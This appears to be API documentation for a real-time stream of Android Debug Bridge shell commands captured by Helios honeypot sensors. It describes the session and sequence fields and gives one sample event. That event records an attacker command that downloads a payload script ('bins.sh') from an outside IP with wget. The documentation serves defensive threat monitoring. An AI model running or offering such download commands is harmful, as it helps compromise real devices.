Stream Helios honeypot ADB shell commands in real time

Real-time NDJSON stream of Android Debug Bridge shell commands captured by Helios honeypot sensors. Each event is one command in a session, ordered by sequential_id. Use the session field to reconstruct the full attacker shell transcript. Events carry no timestamp.

Required scope: HONEYPOT_ADB_STREAM. Schema: see HoneypotADBStreamEntry under Components.

Sample event:

{"session":"00075b3dde7ddb645347a137f01ac991","sequential_id":3,"command":"cd /data/local/tmp; wget http://198.51.100.7/bins.sh","hash":"cd6dcc3ff48156eb3af4f0be3c1934e0bb669a71d1947309f4ddde274b5a7f32"}